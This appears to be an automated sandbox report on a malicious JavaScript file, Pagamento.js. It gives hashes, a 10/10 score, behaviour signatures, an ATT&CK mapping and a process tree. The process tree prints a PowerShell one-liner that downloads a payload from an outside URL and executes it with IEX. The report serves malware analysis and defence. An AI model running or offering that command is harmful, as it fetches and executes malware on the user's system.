Analysis

  • max time kernel
    31s
  • max time network
    33s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    29-05-2023 23:15

General

  • Target

    Pagamento.js

  • Size

    169KB

  • MD5

    c0871f07733a3727e82c64aacda9a85b

  • SHA1

    bf364b5b56ee65351a0bc5bca249ddeed5705e76

  • SHA256

    3eafb742af9d3a8bbbe4bd90b19d175ea4b698505cc5623594d0f13ba883692e

  • SHA512

    56f29de9c7b558ad3e24ee52378ce297bccfcc95bdeb74f3ec463493fe25dd2f869f1d74ede8238fe82b9bb11b9f088d47dea1df53f2a0a1b3a7a6c0ad29217e

  • SSDEEP

    3072:zbT1AJM/EaZ8ok36/EI4+ZQSU2bokXPXliq3kJIAsKLfbT1AJM/EaZ8ok36/EI4c:zbZ0M/EaZ8ok36RftbokX0bZ0M/EaZ8M

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://propagandaetrafego.com/b.jpg

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Pagamento.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1128
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" IEX (New-Object Net.WebClient).DownloadString.Invoke('https://propagandaetrafego.com/b.jpg')
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1284

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

System Information Discovery

1
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1284-58-0x000000001B210000-0x000000001B4F2000-memory.dmp
    Filesize

    2.9MB

  • memory/1284-60-0x00000000024B0000-0x0000000002530000-memory.dmp
    Filesize

    512KB

  • memory/1284-61-0x00000000024B0000-0x0000000002530000-memory.dmp
    Filesize

    512KB

  • memory/1284-59-0x0000000002320000-0x0000000002328000-memory.dmp
    Filesize

    32KB

  • memory/1284-62-0x00000000024B0000-0x0000000002530000-memory.dmp
    Filesize

    512KB